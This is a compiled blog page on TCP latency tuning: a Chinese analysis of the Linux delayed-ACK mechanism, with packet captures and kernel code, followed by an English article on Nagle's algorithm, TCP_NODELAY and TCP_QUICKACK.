&lt;p&gt;&lt;strong&gt;案例二：&lt;&#x2F;strong&gt; 在营销平台内存化CDKEY版本做性能测试时，发现请求时耗分布异常：90%的请求均在2ms以内，而10%左右时耗始终在38-42ms之间，这是一个很有规律的数字：40ms。因为之前经历过案例一，所以猜测同样是因为延迟确认机制引起的时耗问题，经过简单的抓包验证后，通过设置&lt;code&gt;TCP_QUICKACK&lt;&#x2F;code&gt;选项，得以解决时延问题。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;yan-chi-que-ren-ji-zhi&quot;&gt;延迟确认机制&lt;&#x2F;h5&gt;
&lt;p&gt;在《TCP&#x2F;IP详解卷一：协议》第19章对其进行原理进行了详细描述：TCP在处理交互数据流(即&lt;code&gt;Interactive Data Flow&lt;&#x2F;code&gt;，区别于&lt;code&gt;Bulk Data Flow&lt;&#x2F;code&gt;，即成块数据流，典型的交互数据流如telnet、rlogin等)时，采用了Delayed Ack机制以及Nagle算法来减少小分组数目。&lt;&#x2F;p&gt;
&lt;p&gt;书上已经对这两种机制的原理讲的很清晰，这里不再做复述。本文后续部分将通过分析TCP&#x2F;IP在Linux下的实现，来解释一下TCP的延迟确认机制。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;1-wei-shen-me-tcpyan-chi-que-ren-hui-dao-zhi-yan-chi&quot;&gt;1.为什么TCP延迟确认会导致延迟？&lt;&#x2F;h5&gt;
&lt;p&gt;其实仅有延迟确认机制，是不会导致请求延迟的(初以为是必须等到ACK包发出去，recv系统调用才会返回)。一般来说，只有当该机制与Nagle算法或拥塞控制(慢启动或拥塞避免)混合作用时，才可能会导致时耗增长。我们下面来详细看看是如何相互作用的：&lt;&#x2F;p&gt;
&lt;h5 id=&quot;yan-chi-que-ren-yu-naglesuan-fa&quot;&gt;延迟确认与Nagle算法&lt;&#x2F;h5&gt;
&lt;p&gt;我们先看看Nagle算法的规则(可参考tcp_output.c文件里tcp_nagle_check函数注释)：&lt;&#x2F;p&gt;
&lt;p&gt;1)如果包长度达到MSS，则允许发送；&lt;&#x2F;p&gt;
&lt;p&gt;2)如果该包含有FIN，则允许发送；&lt;&#x2F;p&gt;
&lt;p&gt;3)设置了TCP_NODELAY选项，则允许发送；&lt;&#x2F;p&gt;
&lt;p&gt;4)未设置TCP_CORK选项时，若所有发出去的包均被确认，或所有发出去的小数据包(包长度小于MSS)均被确认，则允许发送。&lt;&#x2F;p&gt;
&lt;p&gt;对于规则4)，就是说要求一个TCP连接上最多只能有一个未被确认的小数据包，在该分组的确认到达之前，不能发送其他的小数据包。如果某个小分组的确认被延迟了(案例中的40ms)，那么后续小分组的发送就会相应的延迟。也就是说延迟确认影响的并不是被延迟确认的那个数据包，而是后续的应答包。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;1 00:44:37.878027 IP 171.24.38.136.44792 &amp;gt; 175.24.11.18.9877: S 3512052379:3512052379(0) win 5840 &amp;lt;mss 1448,wscale 7&amp;gt;
2 00:44:37.878045 IP 175.24.11.18.9877 &amp;gt; 171.24.38.136.44792: S 3581620571:3581620571(0) ack 3512052380 win 5792 &amp;lt;mss 1460,wscale 2&amp;gt;
3 00:44:37.879080 IP 171.24.38.136.44792 &amp;gt; 175.24.11.18.9877: . ack 1 win 46
......
4 00:44:38.885325 IP 171.24.38.136.44792 &amp;gt; 175.24.11.18.9877: P 1321:1453(132) ack 1321 win 86
5 00:44:38.886037 IP 175.24.11.18.9877 &amp;gt; 171.24.38.136.44792: P 1321:1453(132) ack 1453 win 2310
6 00:44:38.887174 IP 171.24.38.136.44792 &amp;gt; 175.24.11.18.9877: P 1453:2641(1188) ack 1453 win 102
7 00:44:38.887888 IP 175.24.11.18.9877 &amp;gt; 171.24.38.136.44792: P 1453:2476(1023) ack 2641 win 2904
8 00:44:38.925270 IP 171.24.38.136.44792 &amp;gt; 175.24.11.18.9877: . ack 2476 win 118
9 00:44:38.925276 IP 175.24.11.18.9877 &amp;gt; 171.24.38.136.44792: P 2476:2641(165) ack 2641 win 2904
10 00:44:38.926328 IP 171.24.38.136.44792 &amp;gt; 175.24.11.18.9877: . ack 2641 win 134
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从上面的tcpdump抓包分析看，第8个包是延迟确认的，而第9个包的数据，在Server端(175.24.11.18)虽然早就已放到TCP发送缓冲区里面(应用层调用的send已经返回)了，但按照Nagle算法，第9个包需要等到第个7包(小于MSS)的ACK到达后才能发出。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;yan-chi-que-ren-yu-yong-sai-kong-zhi&quot;&gt;延迟确认与拥塞控制&lt;&#x2F;h5&gt;
&lt;p&gt;我们先利用TCP_NODELAY选项关闭Nagle算法，再来分析延迟确认与TCP拥塞控制是如何互相作用的。&lt;&#x2F;p&gt;
&lt;p&gt;慢启动：TCP的发送方维护一个拥塞窗口，记为cwnd。TCP连接建立是，该值初始化为1个报文段，每收到一个ACK，该值就增加1个报文段。发送方取拥塞窗口与通告窗口(与滑动窗口机制对应)中的最小值作为发送上限(拥塞窗口是发送方使用的流控，而通告窗口则是接收方使用的流控)。发送方开始发送1个报文段，收到ACK后，cwnd从1增加到2，即可以发送2个报文段，当收到这两个报文段的ACK后，cwnd就增加为4，即指数增长：例如第一个RTT内，发送一个包，并收到其ACK，cwnd增加1，而第二个RTT内，可以发送两个包，并收到对应的两个ACK，则cwnd每收到一个ACK就增加1，最终变为4，实现了指数增长。&lt;&#x2F;p&gt;
&lt;p&gt;在Linux实现里，并不是每收到一个ACK包，cwnd就增加1，如果在收到ACK时，并没有其他数据包在等待被ACK，则不增加。&lt;&#x2F;p&gt;
&lt;p&gt;本人使用案例1的测试代码，在实际测试中，cwnd从初始值2开始，最终保持3个报文段的值，tcpdump结果如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;1 16:46:14.288604 IP 178.14.5.3.1913 &amp;gt; 178.14.5.4.20001: S 1324697951:1324697951(0) win 5840 &amp;lt;mss 1460,wscale 2&amp;gt;
2 16:46:14.289549 IP 178.14.5.4.20001 &amp;gt; 178.14.5.3.1913: S 2866427156:2866427156(0) ack 1324697952 win 5792 &amp;lt;mss 1460,wscale 2&amp;gt;
3 16:46:14.288690 IP 178.14.5.3.1913 &amp;gt; 178.14.5.4.20001: . ack 1 win 1460
......
4 16:46:15.327493 IP 178.14.5.3.1913 &amp;gt; 178.14.5.4.20001: P 1321:1453(132) ack 1321 win 4140
5 16:46:15.329749 IP 178.14.5.4.20001 &amp;gt; 178.14.5.3.1913: P 1321:1453(132) ack 1453 win 2904
6 16:46:15.330001 IP 178.14.5.3.1913 &amp;gt; 178.14.5.4.20001: P 1453:2641(1188) ack 1453 win 4140
7 16:46:15.333629 IP 178.14.5.4.20001 &amp;gt; 178.14.5.3.1913: P 1453:1585(132) ack 2641 win 3498
8 16:46:15.337629 IP 178.14.5.4.20001 &amp;gt; 178.14.5.3.1913: P 1585:1717(132) ack 2641 win 3498
9 16:46:15.340035 IP 178.14.5.4.20001 &amp;gt; 178.14.5.3.1913: P 1717:1849(132) ack 2641 win 3498
10 16:46:15.371416 IP 178.14.5.3.1913 &amp;gt; 178.14.5.4.20001: . ack 1849 win 4140
11 16:46:15.371461 IP 178.14.5.4.20001 &amp;gt; 178.14.5.3.1913: P 1849:2641(792) ack 2641 win 3498
12 16:46:15.371581 IP 178.14.5.3.1913 &amp;gt; 178.14.5.4.20001: . ack 2641 win 4536
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上表中的包，是在设置TCP_NODELAY，且cwnd已经增长到3的情况，第7、8、9发出后，受限于拥塞窗口大小，即使此时TCP缓冲区有数据可以发送亦不能继续发送，即第11个包必须等到第10个包到达后，才能发出，而第10个包明显有一个40ms的延迟。&lt;&#x2F;p&gt;
&lt;p&gt;注：通过getsockopt的TCP_INFO选项(man 7 tcp)可以查看TCP连接的详细信息，例如当前拥塞窗口大小，MSS等。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;2-wei-shen-me-shi-40ms-zhe-ge-shi-jian-neng-bu-neng-diao-zheng-ni&quot;&gt;2.为什么是40ms？这个时间能不能调整呢？&lt;&#x2F;h5&gt;
&lt;p&gt;首先在redhat的官方文档中，有如下说明：&lt;&#x2F;p&gt;
&lt;p&gt;一些应用在发送小的报文时，可能会因为TCP的Delayed Ack机制，导致一定的延迟。其值默认为40ms。可以通过修改tcp_delack_min，调整系统级别的最小延迟确认时间。例如：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;# echo 1 &amp;gt; &#x2F;proc&#x2F;sys&#x2F;net&#x2F;ipv4&#x2F;tcpdelackmin&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;即是期望设置最小的延迟确认超时时间为1ms。&lt;&#x2F;p&gt;
&lt;p&gt;不过在slackware和suse系统下，均未找到这个选项，也就是说40ms这个最小值，在这两个系统下，是无法通过配置调整的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;linux-2.6.39.1&#x2F;net&#x2F;tcp.h&lt;&#x2F;code&gt;下有如下一个宏定义：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;#define TCP_DELACK_MIN    ((unsigned)(HZ&#x2F;25))    &#x2F;* minimal time to delay before sending an ACK *&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;注：Linux内核每隔固定周期会发出&lt;code&gt;timer interrupt(IRQ 0)&lt;&#x2F;code&gt;，HZ是用来定义每秒有几次&lt;code&gt;timer interrupts&lt;&#x2F;code&gt;的。举例来说，HZ为1000，代表每秒有1000次&lt;code&gt;timer interrupts&lt;&#x2F;code&gt;。HZ可在编译内核时设置。在我们现有&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;act&#x2F;pro&#x2F;promotion-cvm?from_column=20065&amp;amp;from=20065&quot;&gt;服务器&lt;&#x2F;a&gt;上跑的系统，HZ值均为250。&lt;&#x2F;p&gt;
&lt;p&gt;以此可知，最小的延迟确认时间为40ms。&lt;&#x2F;p&gt;
&lt;p&gt;TCP连接的延迟确认时间一般初始化为最小值40ms，随后根据连接的重传超时时间(RTO)、上次收到数据包与本次接收数据包的时间间隔等参数进行不断调整。具体调整算法，可以参考&lt;code&gt;linux-2.6.39.1&#x2F;net&#x2F;ipv4&#x2F;tcp_input.c, Line 564&lt;&#x2F;code&gt;的&lt;code&gt;tcp_event_data_recv&lt;&#x2F;code&gt;函数。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;3-wei-shen-me-tcp-quickackxu-yao-zai-mei-ci-diao-yong-recvhou-zhong-xin-she-zhi&quot;&gt;3.为什么TCP_QUICKACK需要在每次调用recv后重新设置？&lt;&#x2F;h5&gt;
&lt;p&gt;在man 7 tcp中，有如下说明：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;TCP_QUICKACK
`Enable quickack mode if set or disable quickack mode if cleared. In quickack mode, acks are         sent immediately, rather than delayed if needed in accordance to normal TCP operation.   This flag is not permanent, it only enables a switch to or from quickack mode. Subsequent         operation of the TCP protocol will once again enter&amp;#x2F;leave quickack mode depending on      internal protocol processing and factors such as delayed ack timeouts occurring and data         transfer. This option should not be used in code intended to be portable.`
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;手册中明确描述&lt;code&gt;TCP_QUICKACK&lt;&#x2F;code&gt;不是永久的。那么其具体实现是如何的呢？参考&lt;code&gt;setsockopt&lt;&#x2F;code&gt;函数关于&lt;code&gt;TCP_QUICKACK&lt;&#x2F;code&gt;选项的实现：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;case TCP_QUICKACK:
    if (!val) {
        icsk-&amp;gt;icsk_ack.pingpong = 1;
    } else {
        icsk-&amp;gt;icsk_ack.pingpong = 0;
        if ((1 &amp;lt;&amp;lt; sk-&amp;gt;sk_state) &amp;amp;
        (TCPF_ESTABLISHED | TCPF_CLOSE_WAIT) &amp;amp;&amp;amp;
        inet_csk_ack_scheduled(sk)) {
            icsk-&amp;gt;icsk_ack.pending |= ICSK_ACK_PUSHED;
            tcp_cleanup_rbuf(sk, 1);
            if (!(val &amp;amp; 1))
            icsk-&amp;gt;icsk_ack.pingpong = 1;
        }
    }
    break;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其实linux下socket有一个pingpong属性来表明当前链接是否为交互数据流，如其值为1，则表明为交互数据流，会使用延迟确认机制。但是pingpong这个值是会动态变化的。例如TCP链接在要发送一个数据包时，会执行如下函数(&lt;code&gt;linux-2.6.39.1&#x2F;net&#x2F;ipv4&#x2F;tcp_output.c&lt;&#x2F;code&gt;, Line 156)：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;* Congestion state accounting after a packet has been sent. *&amp;#x2F;
static void tcp_event_data_sent(struct tcp_sock *tp,struct sk_buff *skb, struct sock *sk)
{
         ......
         tp-&amp;gt;lsndtime = now;
         &amp;#x2F;* If it is a reply for ato after last received
          * packet, enter pingpong mode.
          *&amp;#x2F;
         if ((u32)(now - icsk-&amp;gt;icsk_ack.lrcvtime) &amp;lt; icsk-&amp;gt;icsk_ack.ato)
                   icsk-&amp;gt;icsk_ack.pingpong = 1;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后两行代码说明：如果当前时间与最近一次接受数据包的时间间隔小于计算的延迟确认超时时间，则重新进入交互数据流模式。也可以这么理解：延迟确认机制被确认有效时，会自动进入交互式。&lt;&#x2F;p&gt;
&lt;p&gt;通过以上分析可知，&lt;strong&gt;TCP_QUICKACK选项是需要在每次调用recv后重新设置的&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;4-wei-shen-me-bu-shi-suo-you-bao-du-yan-chi-que-ren&quot;&gt;4.为什么不是所有包都延迟确认？&lt;&#x2F;h5&gt;
&lt;p&gt;TCP实现里，用&lt;code&gt;tcp_in_quickack_mode(linux-2.6.39.1&#x2F;net&#x2F;ipv4&#x2F;tcp_input.c, Line 197)&lt;&#x2F;code&gt;这个函数来判断是否需要立即发送ACK。其函数实现如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;* Send ACKs quickly, if &amp;quot;quick&amp;quot; count is not exhausted
 * and the session is not interactive.
 *&amp;#x2F;
static inline int tcp_in_quickack_mode(const struct sock *sk)
{
    const struct inet_connection_sock *icsk = inet_csk(sk);
    return icsk-&amp;gt;icsk_ack.quick &amp;amp;&amp;amp; !icsk-&amp;gt;icsk_ack.pingpong;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要求满足两个条件才能算是quickack模式：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;pingpong被设置为0。&lt;&#x2F;li&gt;
&lt;li&gt;快速确认数(quick)必须为非0。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;关于pingpong这个值，在前面有描述。而quick这个属性其代码中的注释为：scheduled number of quick acks，即快速确认的包数量，每次进入quickack模式，quick被初始化为接收窗口除以2倍MSS值(linux-2.6.39.1&#x2F;net&#x2F;ipv4&#x2F;tcp_input.c, Line 174)，每次发送一个ACK包，quick即被减1。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;5-guan-yu-tcp-corkxuan-xiang&quot;&gt;5.关于TCP_CORK选项&lt;&#x2F;h5&gt;
&lt;p&gt;&lt;code&gt;TCP_CORK&lt;&#x2F;code&gt;选项与&lt;code&gt;TCP_NODELAY&lt;&#x2F;code&gt;一样，是控制Nagle化的。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;打开&lt;code&gt;TCP_NODELAY&lt;&#x2F;code&gt;选项，则意味着无论数据包是多么的小，都立即发送(不考虑拥塞窗口)。&lt;&#x2F;li&gt;
&lt;li&gt;如果将TCP连接比喻为一个管道，那&lt;code&gt;TCP_CORK&lt;&#x2F;code&gt;选项的作用就像一个塞子。设置&lt;code&gt;TCP_CORK&lt;&#x2F;code&gt;选项，就是用塞子塞住管道，而取消&lt;code&gt;TCP_CORK&lt;&#x2F;code&gt;选项，就是将塞子拔掉。例如下面这段代码：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;int on = 1;
setsockopt(sockfd, SOL_TCP, TCP_CORK, &amp;amp;on, sizeof(on)); &amp;#x2F;&amp;#x2F;set TCP_CORK
write(sockfd, ...);    &amp;#x2F;&amp;#x2F;e.g., http header
sendfile(sockfd, ...); &amp;#x2F;&amp;#x2F;e.g., http body
on = 0;
setsockopt(sockfd, SOL_TCP, TCP_CORK, &amp;amp;on, sizeof(on)); &amp;#x2F;&amp;#x2F;unset TCP_CORK
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当&lt;code&gt;TCP_CORK&lt;&#x2F;code&gt;选项被设置时，TCP链接不会发送任何的小包，即只有当数据量达到MSS时，才会被发送。当数据传输完成时，通常需要取消该选项，以便被塞住，但是又不够MSS大小的包能及时发出去。如果应用程序确定能一起发送多个数据集合(例如HTTP响应的头和正文)，建议设置&lt;code&gt;TCP_CORK&lt;&#x2F;code&gt;选项，这样在这些数据之间不存在延迟。为提升性能及吞吐量，Web Server、文件服务器这一类一般会使用该选项。&lt;&#x2F;p&gt;
&lt;p&gt;著名的高性能Web服务器Nginx，在使用sendfile模式的情况下，可以设置打开TCP_CORK选项：将nginx.conf配置文件里的&lt;code&gt;tcp_nopush&lt;&#x2F;code&gt;配置为on。(&lt;code&gt;TCP_NOPUSH&lt;&#x2F;code&gt;与&lt;code&gt;TCP_CORK&lt;&#x2F;code&gt;两个选项实现功能类似，只不过NOPUSH是BSD下的实现，而CORK是Linux下的实现)。另外Nginx为了减少系统调用，追求性能极致，针对短连接(一般传送完数据后，立即主动关闭连接，对于Keep-Alive的HTTP持久连接除外)，程序并不通过&lt;code&gt;setsockopt&lt;&#x2F;code&gt;调用取消TCP_CORK选项，因为关闭连接会自动取消TCP_CORK选项，将剩余数据发出。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tcp-nodelay-nagle-s-algorithm&quot;&gt;TCP_NODELAY &amp;amp; Nagle&#x27;s Algorithm&lt;&#x2F;h2&gt;
&lt;p&gt;How to use TCP performance and Nagle&#x27;s algorithm to get better user experience and performance out of your network.&lt;&#x2F;p&gt;
&lt;p&gt;October 24, 2016&lt;&#x2F;p&gt;
&lt;p&gt;If you want to really understand &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.extrahop.com&#x2F;resources&#x2F;protocols&#x2F;tcp&#x2F;&quot;&gt;TCP&lt;&#x2F;a&gt; optimization techniques, how to decide which to use, and how to implement them, you have come to the right place. This post was so long and rich we decided to split it into sections and give it a table of contents. Enjoy!&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-tcp-background-information-why-nagle-s-algorithm-and-delayed-ack-were-implemented-and-how-they-interact&quot;&gt;1. TCP Background Information: Why Nagle&#x27;s Algorithm and Delayed ACK Were Implemented, and How They Interact&lt;&#x2F;h4&gt;
&lt;p&gt;Today&#x27;s internet is a large and global TCP&#x2F;IP network that sends web pages and huge files of all types across great distances. A lot has changed since the internet was initially built, when small academic and government networks largely used the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.extrahop.com&#x2F;resources&#x2F;protocols&#x2F;telnet&#x2F;&quot;&gt;Telnet&lt;&#x2F;a&gt; and Network Control Program (NCP) protocols. The internet has grown exponentially since its inception, and as more types of traffic, devices, and protocols have come online, the importance of managing this traffic efficiently has grown as well.&lt;&#x2F;p&gt;
&lt;p&gt;When the TCP&#x2F;IP stack took over as the dominant protocol in the early 1980s, leaving Telnet to more specialized purposes, there were finally settings available to optimize traffic flow and avoid congestion and data loss. Even now, though, it can be difficult to know when and how to use these settings. This article will make clear some of the best use cases for common TCP optimization settings and techniques, specifically Nagle&#x27;s Algorithm, TCP_NODELAY, Delayed ACK and TCP_QUICKACK.&lt;&#x2F;p&gt;
&lt;p&gt;Nagle&#x27;s algorithm, named after its creator John Nagle, is one mechanism for improving TCP efficiency by reducing the number of small packets sent over the network. The goal was to prevent a node from transmitting many small packets if the application delivers data to the socket rather slowly. If a process is causing many small packets to be transmitted, it may be creating undue network congestion. This is especially true if the payload of a packet is smaller than the TCP header data.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%BB%B6%E6%97%B6-ack-%E4%B8%8E-nagle-%E7%AE%97%E6%B3%95%E7%BB%93%E5%90%88&#x2F;assets&#x2F;network-asset-inefficient-tcp-packet-20240819190424-3pxjlof-7204d2.png&quot; alt=&quot;TCP_NODELAY cartoon illustration&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;You wouldn&#x27;t rent a whole moving truck to move one dresser. Why send a 1-byte Telnet instruction in a 40-byte TCP packet?&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This is analogous to loading one dresser into a huge moving truck and then driving across town. Unless the dresser needs to get there immediately, you might as well wait and fill the truck up. That&#x27;s what Nagle&#x27;s algorithm does. Nagle&#x27;s algorithm is used to optimize the data transfer by consolidating multiple small request bytes into a single TCP segment so that the ratio of header data to payload is more efficient. TCP headers take up 40 bytes, and there are plenty of applications that can emit a single byte of payload. If your environment is configured to send data immediately, you could end up sending a 41 byte packet with only one byte of actual payload.&lt;&#x2F;p&gt;
&lt;p&gt;TCP delayed acknowledgment or Delayed ACK is another technique used by some implementations of the TCP in an effort to improve network performance and reduce congestion. Delayed ACK was invented to reduce the number of ACKs required to acknowledge the segments and reduce the protocol overhead. Delayed ACK is the destination retaining the ACK segment for the value of the delayed ACK timer, about 200 - 500 ms. Delayed ACK means TCP doesn&#x27;t immediately acknowledge every single received TCP segment. Several ACK responses may be combined together into a single response, reducing protocol overhead. Delayed ACK is basically a bet taken by the destination betting 200 - 500 ms, that a new packet will arrive before the delayed ACK timer expires. Though in some circumstances, the technique can cause a reduction in the application performance.&lt;&#x2F;p&gt;
&lt;p&gt;It is important to understand the performance impact on your applications when you&#x27;re deciding which TCP optimization methods to implement.&lt;&#x2F;p&gt;
&lt;p&gt;Nagle&#x27;s Algorithm and Delayed ACK were created around the same time, but due to lack of collaboration between the creators, they provided an incomplete and sometimes conflicting solution. John Nagle himself expressed frustration about the situation in a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=10608356&quot;&gt;Hacker News&lt;&#x2F;a&gt; thread on the topic, saying:&lt;&#x2F;p&gt;
&lt;p&gt;“That still irks me. The real problem is not tinygram prevention. It&#x27;s ACK delays, and that stupid fixed timer. They both went into TCP around the same time, but independently. I did tinygram prevention (the Nagle algorithm) and Berkeley did delayed ACKs, both in the early 1980s. The combination of the two is awful.”&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-nagle-s-algorithm-and-delayed-ack-do-not-play-well-together-in-a-tcp-ip-network&quot;&gt;2. Nagle&#x27;s Algorithm and Delayed ACK Do Not Play Well Together in a TCP&#x2F;IP Network&lt;&#x2F;h4&gt;
&lt;p&gt;By default, Nagle&#x27;s algorithm and Delayed ACK are broadly implemented across networks, including the internet. Nagle&#x27;s algorithm effectively only allows one packet to be actively transporting on the network at any given time, this tends to hold back traffic due to the interactions between the Nagle&#x27;s algorithm and delayed ACKs. Hence Nagle&#x27;s algorithm is undesirable in highly interactive environments.&lt;&#x2F;p&gt;
&lt;p&gt;For example: Delayed ACK tries to send more data per segment if it can. But part of Nagle&#x27;s algorithm depends on an ACK to send data. Nagle&#x27;s algorithm and Delayed ACKs together create a problem because Delayed ACKs are waiting around to send the ACK while Nagle&#x27;s is waiting around to receive the ACK! This creates random stalls of 200-500ms on segments that could otherwise be sent immediately and delivered to the receive-side stack and apps above it.&lt;&#x2F;p&gt;
&lt;p&gt;In situations where you need your data to be transmitted immediately and one-way latency matters, such as when transmitting user interactions like keypresses or mouse movements from a client to a central server using Telnet, turning off the Nagle algorithm can make for a better user experience. But for almost everything else where only round trip time matters, not one-way, then turning off the Nagle algorithm may not help.&lt;&#x2F;p&gt;
&lt;p&gt;Delayed ACKs can help in certain circumstances, such as when using the character echo option in Telnet. If the ACKs are tiny and don&#x27;t use much bandwidth then Delayed ACK is not of much help. These intricacies make it tough to tell when to use Nagle&#x27;s algorithm, Delayed ACK, and other TCP optimization options.&lt;&#x2F;p&gt;
&lt;p&gt;There&#x27;s nothing in TCP to automatically turn Nagle&#x27;s algorithm or Delayed ACKs off, so you have to understand your network well enough to choose the options that will provide the best performance.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-what-are-tcp-nodelay-and-tcp-quickack-and-what-do-they-do&quot;&gt;3. What Are TCP_NODELAY and TCP_QUICKACK, And What Do They Do?&lt;&#x2F;h4&gt;
&lt;p&gt;It is very important to understand the interactions between Nagle&#x27;s algorithm and Delayed ACKs. The TCP_NODELAY socket option allows your network to bypass Nagle Delays by disabling Nagle&#x27;s algorithm, and sending the data as soon as it&#x27;s available. Enabling TCP_NODELAY forces a socket to send the data in its buffer, whatever the packet size. To disable Nagle&#x27;s buffering algorithm, use the TCP_NODELAY socket option. To disable Delayed ACKs, use the TCP_QUICKACK socket option.&lt;&#x2F;p&gt;
&lt;p&gt;Enabling the TCP_NODELAY option turns Nagle&#x27;s algorithm off. In the case of interactive applications or chatty protocols with a lot of handshakes such as SSL, Citrix and Telnet, Nagle&#x27;s algorithm can cause a drop in performance, whereas enabling TCP_NODELAY can improve the performance.&lt;&#x2F;p&gt;
&lt;p&gt;In any request-response application protocols where request data can be larger than a packet, this can artificially impose a few hundred milliseconds latency between the requester and the responder, even if the requester has properly buffered the request data. Nagle&#x27;s algorithm should be disabled by enabling TCP_NODELAY by the requester in this case. If the response data can be larger than a packet, the responder should also disable Nagle&#x27;s algorithm by enabling TCP_NODELAY so the requester can promptly receive the whole response.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;4-more-resources-on-nagle-delays-delayed-ack-tinygrams-and-silly-window-syndrome&quot;&gt;4. More Resources on Nagle Delays, Delayed ACK, Tinygrams, and Silly Window Syndrome&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.extrahop.com&#x2F;blog&#x2F;to-nagle-or-not-to-nagle-that-is-the-question&#x2F;&quot;&gt;To Nagle or Not to Nagle, That is the Question&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;forums.extrahop.com&#x2F;t&#x2F;nagle-delays-explained&#x2F;249&quot;&gt;Nagle delays explained&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.extrahop.com&#x2F;blog&#x2F;what-is-a-tinygram&#x2F;&quot;&gt;What Is a Tinygram?&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;forums.extrahop.com&#x2F;t&#x2F;tinygrams-explained&#x2F;277&quot;&gt;Tinygrams explained&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;forums.extrahop.com&#x2F;t&#x2F;what-is-silly-window-syndrome-extrahop&#x2F;1563&quot;&gt;What is Silly Window Syndrome&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;forums.extrahop.com&#x2F;t&#x2F;what-is-silly-window-syndrome-extrahop&#x2F;1563&quot;&gt;TCP profile setting for the BIG-IP&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;5-should-i-enable-tcp-nodelay&quot;&gt;5. Should I Enable TCP_NODELAY?&lt;&#x2F;h4&gt;
&lt;p&gt;It really depends on what is your specific workload and dominant traffic patterns on a service. Typically Local Area Networks (LANs) have less issues with traffic congestion as compared to the Wide Area Networks (WANs).&lt;&#x2F;p&gt;
&lt;p&gt;If you are dealing with non-interactive type traffic or bulk transfers such as SOAP, XMLRPC, HTTP&#x2F;web traffic then enabling TCP_NODELAY to disable Nagle&#x27;s algorithm is unnecessary.&lt;&#x2F;p&gt;
